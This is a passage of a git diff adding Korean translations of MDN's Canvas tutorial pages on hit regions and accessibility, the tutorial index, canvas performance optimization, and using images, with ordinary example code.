+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html b/files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html
new file mode 100644
index 0000000000..e720af3159
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html
@@ -0,0 +1,97 @@
+---
+title: 히트(Hit) 영역과 접근성
+slug: Web/HTML/Canvas/Tutorial/Hit_regions_and_accessibility
+translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility
+---
+<div>{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
+
+<div class="summary">{{HTMLElement("canvas")}} 엘리먼트는 비트맵이며 그려진 객체에 대한 정보는 제공하지 않습니다. 캔버스 컨텐츠는 시멘틱 HTML과 같은 접근성 도구에 노출되지 않습니다. 일반적으로 접근성을 위한 웹 사이트 또는 앱에서는 캔버스를 사용하지 않는 것이 좋습니다. 본 가이드라인은 접근성이 향상된 캔버스를 만드는데 도움이 될 것입니다.</div>
+
+<h2 id="대체_컨텐츠">대체 컨텐츠</h2>
+
+<p><code>&lt;canvas&gt; ... &lt;/ canvas&gt;</code> 태그 안의 내용은 캔버스 렌더링을 지원하지 않는 브라우저의 대체 컨텐츠로 사용할 수 있습니다. 또한 하위 DOM을 읽고 해석 할 수있는 보조 기술 사용자 (스크린 리더와 같은)에게도 매우 유용합니다. <a href="https://www.html5accessibility.com/tests/canvas.html">html5accessibility.com</a>의 좋은 예가 이를 수행 할 수있는 방법을 보여줍니다.</p>
+
+<pre class="brush: html">&lt;canvas&gt;
+ &lt;h2&gt;Shapes&lt;/h2&gt;
+ &lt;p&gt;A rectangle with a black border.
+ In the background is a pink circle.
+ Partially overlaying the &lt;a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();"&gt;circle&lt;/a&gt;.
+ Partially overlaying the circle is a green
+ &lt;a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();"&gt;square&lt;/a&gt;
+ and a purple &lt;a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();"&gt;triangle&lt;/a&gt;,
+ both of which are semi-opaque, so the full circle can be seen underneath.&lt;/p&gt;
+&lt;/canvas&gt; </pre>
+
+<p><a href="https://www.youtube.com/watch?v=ABeIFlqYiMQ">Steve Faulkner의 NVDA가 이 예제를 어떻게 읽는지를 보여주는 동영상</a>을 참고하시기 바랍니다.</p>
+
+<h2 id="ARIA_규칙">ARIA 규칙</h2>
+
+<p><a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a>(Accessible Rich Internet Application)는 장애인이 사용자가 웹 콘텐츠 및 웹 응용 프로그램을보다 쉽게 사용할 수 있도록하는 방법을 정의합니다. ARIA 속성을 사용하여 캔버스 엘리먼트의 동작 및 용도를 설명 할 수 있습니다. 자세한 내용은 <a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a> 및 <a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques">ARIA 기술</a>을 참조하십시오.</p>
+
+<pre class="brush: html">&lt;canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"&gt;&lt;/canvas&gt;
+</pre>
+
+<h2 id="히트(Hit)_영역">히트(Hit) 영역</h2>
+
+<p>마우스 좌표가 캔버스의 특정 영역 내에 있는지 여부는 문제를 해결하는 데 공통적입니다. 히트 영역 API를 사용하면 캔버스 영역을 정의 할 수 있으며 캔버스에 대화형 컨텐츠를 접근성 도구에 표시 할 수 있습니다. 히트 영역 API는 여러분이 히트 감지를 쉽게 할 수 있도록 하며 DOM 엘리먼트에 이벤트를 전달할 수 있도록 합니다. API에는 다음 세 가지 메소드가 있습니다 (현재 웹 브라우저에서는 아직 실험 중이며 브라우저 호환성 테이블을 확인하십시오).</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>히트 영역을 캔버스에 추가합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>캔버스에서 해당 <code>id</code>를 가진 히트 영역을 제거합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>캔버스에서 모든 히트 영역을 제거합니다.</dd>
+</dl>
+
+<p>경로에 히트 영역을 추가하고 {{domxref("MouseEvent.region")}} 속성을 확인하여 마우스가 영역을 히트하는지 테스트 할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;script&gt;
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: 'circle'});
+
+canvas.addEventListener('mousemove', function(event) {
+  if (event.region) {
+    alert('hit region: ' + event.region);
+  }
+});
+&lt;/script&gt;</pre>
+
+<p><code>addHitRegion()</code> 메소드는 <code>control</code> 옵션을 이용하여 이벤트를 엘리먼트(즉, 캔버스의 자식으로)로 전달합니다.</p>
+
+<pre class="brush: js">ctx.addHitRegion({control: element});</pre>
+
+<p>예를 들어 {{HTMLElement("input")}} 엘리먼트로 전달하는 데 유용 할 수 있습니다. <a href="https://codepen.io/peterj35/pen/PEdLKx">codepen 데모</a>를 참조하십시오.</p>
+
+<h2 id="포커스_링(Focus_rings)">포커스 링(Focus rings)</h2>
+
+<p>키보드로 작업 할 때 포커스 링은 페이지 탐색에 도움이되는 편리한 표시기입니다. 캔버스 드로잉에 포커스 링을 그리려면 <code>drawFocusIfNeeded</code> 속성을 사용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}</dt>
+ <dd>지정된 엘리먼트에 포커스가있는 경우,이 메소드는 현재 경로 주위에 포커스 링을 그립니다.</dd>
+</dl>
+
+<p>또한 <code>scrollPathIntoView()</code> 메서드를 사용하여 포커스가있는 경우 엘리먼트를 화면에 표시 할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}</dt>
+ <dd>현재 경로 또는 지정된 경로를 뷰로 스크롤합니다.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas accessibility use cases</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas element accessibility issues</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">HTML5 Canvas Accessibility in Firefox 13 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">Best practices for interactive canvas elements</a></li>
+</ul>
+
+<div>{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
diff --git a/files/ko/web/html/canvas/tutorial/index.html b/files/ko/web/html/canvas/tutorial/index.html
new file mode 100644
index 0000000000..03077163aa
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/index.html
@@ -0,0 +1,62 @@
+---
+title: 캔버스 튜토리얼
+slug: Web/HTML/Canvas/Tutorial
+tags:
+ - Canvas
+ - Graphic
+ - Guide
+ - HTML
+ - HTML5
+ - Intermediate
+ - Web
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div>{{CanvasSidebar}}</div>
+
+<div><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></div>
+
+<div class="summary">
+<p><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a>는 <a href="/en-US/docs/HTML" title="HTML">HTML</a> 요소 중 하나로서, 스크립트(보통은 <a href="/en-US/docs/JavaScript" title="JavaScript">자바스크립트</a>)를 사용하여 그림을 그리는 데에 사용됩니다. 예를 들면, 그래프를 그리거나 사진을 합성하거나, 간단한(혹은 <a href="/en-US/docs/HTML/Canvas/A_Basic_RayCaster" title="A_Basic_RayCaster">복잡할 수도 있는</a>) 애니메이션을 만드는 데에 사용될 수 있습니다. 오른쪽에 보이는 이미지들은 앞으로 설명하게 될 <a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a>를 사용하여 만들 수 있는 것들의 일부입니다.</p>
+</div>
+
+<p><span class="seoSummary">이 튜토리얼은 <code>&lt;canvas&gt;</code> 요소를 사용하여 2D 그래픽을 어떻게 그리는지 기초부터 설명합니다. 예제들을 통하여 캔버스로 할 수 있는 것이 무엇인지 알려주며, 바로 사용할 수 있도록 코드도 제공합니다.</span></p>
+
+<p><code>&lt;canvas&gt;</code>는 Apple의 Webkit에 처음 도입되어 Mac OS X 대시보드(Dashboard)에 사용되었고, 이후 다른 브라우저에도 구현되어 왔습니다. 현재 대부분의 주요 브라우저에서 지원됩니다.</p>
+
+<h2 id="Before_you_start" name="Before_you_start">시작하기 전 알아두어야 할 것</h2>
+
+<p><code>&lt;canvas&gt;</code> 요소를 사용하는 것이 어려운 일은 아니지만, <a href="/en-US/docs/HTML" title="HTML">HTML</a>과 <a href="/en-US/docs/JavaScript" title="JavaScript">자바스크립트</a>에 대한 기본 지식을 갖추고 있어야 합니다. 몇몇 오래된 브라우저는 <code>&lt;canvas&gt;</code> 요소를 지원하지 않지만, 최근 버전의 주요 브라우저들은 모두 지원하고 있습니다. 캔버스의 크기는 300px * 150px (너비 * 높이)가 초기 설정값이며, HTML <code>height</code>와 <code>width</code> 속성을 사용하여 바꿀 수 있습니다. 캔버스에 그림을 그리려면 자바스크립트 컨텍스트 오브젝트를 사용하며, 즉석에서 그림을 생성할 수 있습니다.</p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">튜토리얼 내용</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">캔버스(Canvas) 기본 사용법</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">캔버스에 도형 그리기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">스타일과 색 적용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text">텍스트 그리기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Using_images" title="Canvas_tutorial/Using_images">이미지 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Transformations" title="Canvas_tutorial/Transformations">모양 변환</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Canvas_tutorial/Compositing">도형 합성</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">애니메이션 기본</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">애니메이션 고급</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">픽셀 다루기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hit 영역과 accessibility</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">캔버스 최적화</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Finale">마무리</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API" title="HTML/Canvas">캔버스 주제 페이지</a></li>
+ <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Adobe 일러스트레이터와 캔버스 플러그인</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5 캔버스 튜토리얼</a></li>
+</ul>
+
+<div class="hidden">
+<h2 id="페이지_작성에_기여하신_분들에게_알리는_말씀">페이지 작성에 기여하신 분들에게 알리는 말씀</h2>
+
+<p>2013년 6월 17일에 일어난 기술적인 오류로 인해, 이 튜토리얼에 대한 그 동안의 내역이 사라졌습니다. 사라진 내역에는 이 페이지 작성에 기여한 모든 분들의 기록도 포함됩니다. 이에 대해 사과드리며, 여러분들의 용서를 구합니다. (이상은 영문 페이지의 내용이므로 이 페이지와는 상관 없음을 밝힙니다.)</p>
+</div>
+
+<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
diff --git a/files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html b/files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html
new file mode 100644
index 0000000000..460b5e893f
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html
@@ -0,0 +1,110 @@
+---
+title: 캔버스 최적화
+slug: Web/HTML/Canvas/Tutorial/Optimizing_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div>
+
+<div class="summary">
+<p>{{HTMLElement("canvas")}} 엘리먼트는 웹에서 2D 그래픽을 렌더링하는 데 가장 널리 사용되는 도구 중 하나입니다. 그러나 웹 사이트와 앱이 Canvas API를 최대한으로 밀면 성능이 저하되기 시작합니다. 그러나 웹 사이트 및 앱이 Canvas API를 한계치까지 사용하면 성능이 저하되기 시작합니다. <span class="seoSummary">이 글에서는 그래픽이 잘 동작하도록 보장하기 위해 캔버스 엘리먼트의 사용을 최적화하기위한 제안 사항을 제공합니다.</span></p>
+</div>
+
+<h2 id="성능_팁">성능 팁</h2>
+
+<p>다음은 캔버스 성능을 개선하기 위한 팁 모음입니다.</p>
+
+<h3 id="캔버스에_표시되지_않는_비슷한_원시_혹은_반복_객체를_미리_그려라">캔버스에 표시되지 않는 비슷한 원시 혹은 반복 객체를 미리 그려라</h3>
+
+<p>만약 당신이 캔버스에 애니메이션 프레임을 그리면서 반복적인 작업이 발견된다면, 눈에 보이지 않는 숨겨진 캔버스 요소를 새로 만들고 그 캔버스에 미리 그려 넣는 방법을 고려하세요. 그렇게 하면 필요한 순간에 숨긴 캔버스에 그려진 이미지를 다시 주 캔버스 이미지에 그려넣어, 불필요한 렌더링 반복 작업을 줄여 성능 향상을 꾀할 수 있습니다.</p>
+
+<pre class="brush: js">myCanvas.offscreenCanvas = document.createElement('canvas');
+myCanvas.offscreenCanvas.width = myCanvas.width;
+myCanvas.offscreenCanvas.height = myCanvas.height;
+
+myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);</pre>
+
+<h3 id="부동_소수점_좌표를_피하고_대신_정수를_사용하라.">부동 소수점 좌표를 피하고 대신 정수를 사용하라.</h3>
+
+<p>정수값들 없이 캔버스 상의 객체를 렌더링할 때 부가적인 픽셀 렌더링이 발생합니다.</p>
+
+<pre class="brush: js">ctx.drawImage(myImage, 0.3, 0.5);
+</pre>
+
+<p>이렇게하면 앤티 앨리어싱(anti-aliasing) 효과를 만들기 위해 브라우저에서 추가 연산을 수행해야합니다. 예제에서 이를 방지하려면 {{jsxref("Math.floor()")}}를 사용하여 {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} 호출에 사용된 모든 좌표를 반올림해야합니다.</p>
+
+<h3 id="drawImage에서_이미지_크기를_조정하지_마라."><code>drawImage</code>에서 이미지 크기를 조정하지 마라.</h3>
+
+<p>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}에서 즉시 크기를 조정하지 말고 다양한 이미지 크기를 오프스크린(offscreen) 캔버스에 캐시하십시오.</p>
+
+<h3 id="복잡한_장면에_여러_개의_레이어_캔버스를_사용하라.">복잡한 장면에 여러 개의 레이어 캔버스를 사용하라.</h3>
+
+<p>어플리케이션에서 일부 객체는 자주 이동하거나 변경해야하지만 다른 객체는 상대적으로 고정 위치에 남아야 합니다. 이런 상황에서 대응 가능한 최적화는 여러 <code>&lt;canvas&gt;</code> 엘리먼트를 사용하여 항목을 겹쳐서 만드는 것입니다.</p>
+
+<p>예를 들어 상단에 UI, 중간에 게임 플레이 액션, 하단에 정적 배경이있는 게임이 있다고 가정 해 보겠습니다. 이 경우 게임을 세 개의 <code>&lt;canvas&gt;</code> 레이어로 나눌 수 있습니다. UI는 사용자 입력시에만 변경되며 게임 플레이 레이어는 모든 새 프레임마다 변경되며 배경은 일반적으로 변경되지 않습니다.</p>
+
+<pre class="brush: html">&lt;div id="stage"&gt;
+ &lt;canvas id="ui-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+ &lt;canvas id="game-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+ &lt;canvas id="background-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+&lt;/div&gt;
+
+&lt;style&gt;
+ #stage {
+ width: 480px;
+ height: 320px;
+ position: relative;
+ border: 2px solid black;
+ }
+
+ canvas { position: absolute; }
+ #ui-layer { z-index: 3; }
+ #game-layer { z-index: 2; }
+ #background-layer { z-index: 1; }
+&lt;/style&gt;
+</pre>
+
+<h3 id="큰_배경_이미지는_일반_CSS를_사용하라.">큰 배경 이미지는 일반 CSS를 사용하라.</h3>
+
+<p>정적 배경 이미지가있는 경우 CSS {{cssxref("background")}} 속성을 사용하여 일반 {{HTMLElement("div")}} 요소에 그릴 수 있으며 캔버스 아래에 배치 할 수 있습니다. 이렇게하면 모든 틱 마다 배경을 캔버스에 렌더링 할 필요가 없어집니다.</p>
+
+<h3 id="CSS_변환transform을_사용하여_캔버스_크기_조정하라.">CSS 변환(transform)을 사용하여 캔버스 크기 조정하라.</h3>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">CSS 변환(transform)</a>은 GPU를 사용하기 때문에 더 빠릅니다. 가장 좋은 경우는 캔버스를 스케일링하지 않거나, 큰 캔버스를 축소하기보다 작은 캔버스를 확대하는 것입니다.</p>
+
+<pre class="brush: js">var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+</pre>
+
+<h3 id="투명도를_사용하지_마라.">투명도를 사용하지 마라.</h3>
+
+<p>응용 프로그램이 캔버스를 사용하고 투명 배경을 필요로하지 않는 경우 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext" title="The HTMLCanvasElement.getContext() method returns a drawing context on the canvas, or null if the context identifier is not supported."><code>HTMLCanvasElement.getContext()</code></a>를 사용하여 드로잉 컨텍스트를 만들 때 alpha 옵션을 false로 설정합니다. 이 정보는 렌더링을 최적화하기 위해 브라우저에서 내부적으로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">var ctx = canvas.getContext('2d', { alpha: false });</pre>
+
+<h3 id="추가_팁들">추가 팁들</h3>
+
+<ul>
+ <li>배치 캔버스를 함께 호출합니다. 예를 들어 여러 개의 개별 선 대신 다각형 선을 그립니다.</li>
+ <li>불필요한 캔버스 상태 변경을 피하십시오.</li>
+ <li>화면의 차이만 렌더링하고 완전히 새로운 상태로 렌더링하지 마십시오.</li>
+ <li>가능하면 {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} 속성을 사용하지 마십시오.</li>
+ <li>가능하면 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text">텍스트 렌더링</a>을 피하십시오.</li>
+ <li>캔버스를 지우는 여러 가지 방법을 시도해보십시오 ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} vs. {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} vs. 캔버스 크기 조정).</li>
+ <li>애니메이션에서는 {{domxref("window.setInterval()")}} 대신 {{domxref("window.requestAnimationFrame()")}}을 사용하십시오.</li>
+ <li>무거운 물리 연산 라이브러리를 주의하십시오.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Improving HTML5 Canvas Performance – HTML5 Rocks</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optimizing your JavaScript game for Firefox OS – Mozilla Hacks</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/using_images/index.html b/files/ko/web/html/canvas/tutorial/using_images/index.html
new file mode 100644
index 0000000000..d9aae1c993
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/using_images/index.html
@@ -0,0 +1,347 @@
+---
+title: Using images
+slug: Web/HTML/Canvas/Tutorial/Using_images
+tags:
+ - Advanced
+ - Canvas
+ - Graphics
+ - HTML
+ - Tutorial
+translation_of: Web/API/Canvas_API/Tutorial/Using_images
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations" )}}</div>
+
+<div class="summary">
+<p>지금까지 우리는 Canvas를 가지고 스스로 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes">도형</a>을 만들고 그 도형에 <a href="/ko/docs/Web/HTML/Canvas/Tutorial/Applying_styles_and_colors">스타일 적용</a> 해 보았습니다. 이미지를 사용 하는 기능은 {{HTMLElement("canvas")}}의 가장 흥미로운 기능중 하나입니다. 이 기능은 게임의 그래픽 배경이나 혹은 다이나믹한 사진 도음들을 위해 사용 될 수 있습니다. PNG,GIF, JPEG등 브라우저에서 지원되는 포맷형태라면 어떠한 외부 이미지라도 사용 될 수 있습니다. 같은 페이지 소스에서 다른 Canvas요소로 만들어진 이미지 또한 사용할수 있습니다!</p>
+</div>
+
+<p>이미지를 캔버스로 불러오는것은 기본적으로 두 단계를 필요로 합니다:</p>
+
+<ol>
+ <li>{{domxref("HTMLImageElement")}} object를 참조하거나 다른 캔버스 요소를 소스로 사용합니다. 이는 URL을 가지고 이미지를 사용 할 수 있습니다.</li>
+ <li><code>drawImage()</code> function을 사용하여 캔버스에 나타난 이미지 위에 그림을 그립니다.</li>
+</ol>
+
+<p>이 과정이 어떻게 되는지 봅시다.</p>
+
+<h2 id="이미지_불러오기">이미지 불러오기</h2>
+
+<p>canvas API는 아래의 데이터 타입을 이미지 소스로 사용 할 수 있습니다:</p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement")}}</dt>
+ <dd>{{HTMLElement("img")}} element와 마찬가지로, <code>Image()</code> constructor를 통해 만들어진 이미지입니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SVGImageElement")}}</dt>
+ <dd>{{SVGElement("image")}} element 를 사용해 불러온 이미지입니다.</dd>
+</dl>
+
+
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement")}}</dt>
+ <dd>HTML {{HTMLElement("video")}} 요소를 이미지 소스로 사용하여 비디오의 현재 프레임을 이미지로 불러옵니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement")}}</dt>
+ <dd>다른 {{HTMLElement("canvas")}} 요소를 이미지 소스로 사용합니다.</dd>
+</dl>
+
+<p>이렇게 얻은 소스들은 {{domxref("CanvasImageSource")}}.를 사용하여 불러 올 수 있습니다.</p>
+
+<p>다음은 캔버스에 놓인 이미지를 사용하는 여러가지 방법입니다.</p>
+
+<h3 id="같은_페이지의_이미지_사용하기">같은 페이지의 이미지 사용하기</h3>
+
+<p>우리는 다음을 사용하여 같은 페이지에 있는 캔버스나 이미지를 참고 할 수 있습니다.</p>
+
+<ul>
+ <li>{{domxref("document.images")}} 모음</li>
+ <li>{{domxref("document.getElementsByTagName()")}} 메소드</li>
+ <li>사용 하고자 하는 특정한 이미지의 ID를 알고 있다면, {{domxref("document.getElementById()")}} 를 사용하여 특정한 이미지를 참고할 수 있습니다.</li>
+</ul>
+
+<h3 id="다른_도메인의_이미지_사용하기">다른 도메인의 이미지 사용하기</h3>
+
+<p>Using the {{htmlattrxref("crossorigin", "img")}} attribute of an {{HTMLElement("img")}} element (reflected by the {{domxref("HTMLImageElement.crossOrigin")}} property), you can request permission to load an image from another domain for use in your call to <code>drawImage()</code>. If the hosting domain permits cross-domain access to the image, the image can be used in your canvas without tainting it; otherwise using the image will <a href="https://developer.mozilla.org/en-US/docs/HTML/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" rel="internal">taint the canvas</a>.</p>
+
+<h3 id="다른_캔버스_요소_canvas_elements_사용하기">다른 캔버스 요소 (canvas elements) 사용하기</h3>
+
+<p>Just as with normal images, we access other canvas elements using either the {{domxref("document.getElementsByTagName()")}} or {{domxref("document.getElementById()")}} method. Be sure you've drawn something to the source canvas before using it in your target canvas.</p>
+
+<p>One of the more practical uses of this would be to use a second canvas element as a thumbnail view of the other larger canvas.</p>
+
+<h3 id="처음부터_이미지_만들기">처음부터 이미지 만들기</h3>
+
+<p>Another option is to create new {{domxref("HTMLImageElement")}} objects in our script. To do this, you can use the convenient <code>Image()</code> constructor:</p>
+
+<pre class="brush: js notranslate">var img = new Image(); // Create new img element
+img.src = 'myImage.png'; // Set source path
+</pre>
+
+<p>When this script gets executed, the image starts loading.</p>
+
+<p>If you try to call <code>drawImage()</code> before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception). So you need to be sure to use the load event so you don't try this before the image has loaded:</p>
+
+<pre class="brush: js notranslate">var img = new Image(); // Create new img element
+img.addEventListener('load', function() {
+ // execute drawImage statements here
+}, false);
+img.src = 'myImage.png'; // Set source path
+</pre>
+
+<p>If you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever. It's beyond the scope of this tutorial to look at image pre-loading tactics, but you should keep that in mind.</p>
+
+<h3 id="데이터를_사용하여_이미지_불러오기Embedding_an_image_via_data_URL">데이터를 사용하여 이미지 불러오기Embedding an image via data: URL</h3>
+
+<p>Another possible way to include images is via the <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs allow you to completely define an image as a Base64 encoded string of characters directly in your code.</p>
+
+<pre class="brush: js notranslate">var img = new Image(); // Create new img element
+img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
+</pre>
+
+<p>One advantage of data URLs is that the resulting image is available immediately without another round trip to the server. Another potential advantage is that it is also possible to encapsulate in one file all of your <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>, and images, making it more portable to other locations.</p>
+
+<p>Some disadvantages of this method are that your image is not cached, and for larger images the encoded url can become quite long.</p>
+
+<h3 id="비디오_프레임_사용하기Using_frames_from_a_video">비디오 프레임 사용하기Using frames from a video</h3>
+
+<p>You can also use frames from a video being presented by a {{HTMLElement("video")}} element (even if the video is not visible). For example, if you have a {{HTMLElement("video")}} element with the ID "myvideo", you can do this:</p>
+
+<pre class="brush: js notranslate">function getMyVideo() {
+ var canvas = document.getElementById('canvas');
+ if (canvas.getContext) {
+ var ctx = canvas.getContext('2d');
+
+ return document.getElementById('myvideo');
+ }
+}
+</pre>
+
+<p>This returns the {{domxref("HTMLVideoElement")}} object for the video, which, as covered earlier, is one of the objects that can be used as a <code>CanvasImageSource</code>.</p>
+
+<h2 id="이미지_그리기">이미지 그리기</h2>
+
+<p>Once we have a reference to our source image object we can use the <code>drawImage()</code> method to render it to the canvas. As we will see later the <code>drawImage()</code> method is overloaded and has several variants. In its most basic form it looks like this:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y)")}}</dt>
+ <dd>Draws the <code>CanvasImageSource</code> specified by the <code>image</code> parameter at the coordinates (<code>x</code>, <code>y</code>).</dd>
+</dl>
+
+<div class="note">
+<p>SVG images must specify a width and height in the root &lt;svg&gt; element.</p>
+</div>
+
+<h3 id="예제_기본_선_그래프">예제: 기본 선 그래프</h3>
+
+<p>In the following example, we will use an external image as the backdrop for a small line graph. Using backdrops can make your script considerably smaller because we can avoid the need for code to generate the background. In this example, we're only using one image, so I use the image object's <code>load</code> event handler to execute the drawing statements. The <code>drawImage()</code> method places the backdrop at the coordinate (0, 0), which is the top-left corner of the canvas.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="180" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
